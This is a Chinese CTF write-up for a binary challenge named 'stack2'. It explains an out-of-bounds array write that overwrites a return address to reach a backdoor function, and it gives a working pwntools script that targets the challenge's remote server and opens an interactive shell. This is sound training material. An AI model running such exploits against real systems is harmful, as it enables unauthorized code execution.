stack2

安全检查

 流程分析

经分析,很容易知道这里的数组可以进行越界来修改返回地址的值

有后门函数

 漏洞利用

  • 通过数组溢出修改返回值,到达后门函数
  • 不过我在本地打通后,远程打得时候发现没有后门函数也就是/bin/bash not found 当时有点懵逼,并且对linux命令不太熟悉的我,想了很久没结果后,看了wp后,发现可以值截取sh即可

exp

from pwn import *
def change(offest,by):
    p.sendafter('exit','3
')
    p.sendafter('r to change:',str(offest)+'
')
    p.sendafter('number:',str(by)+'
')


#p=process('./pwn')
p=remote('220.249.52.134',53030)
p.recvuntil("How many numbers you have:
")
p.sendline("1")
p.recvuntil("Give me your numbers
")
p.sendline("1")

change(0x74+0x10,0x50)
change(0x75+0x10,0x84)
change(0x76+0x10,0x04)
change(0x77+0x10,0x08)
change(0x7c+0x10,0x87)
change(0x7d+0x10,0x89)
change(0x7e+0x10,0x04)
change(0x7f+0x10,0x08)

p.recvuntil('exit')
p.sendline('5')
p.interactive()
原文地址:https://www.cnblogs.com/pppyyyzzz/p/14158135.html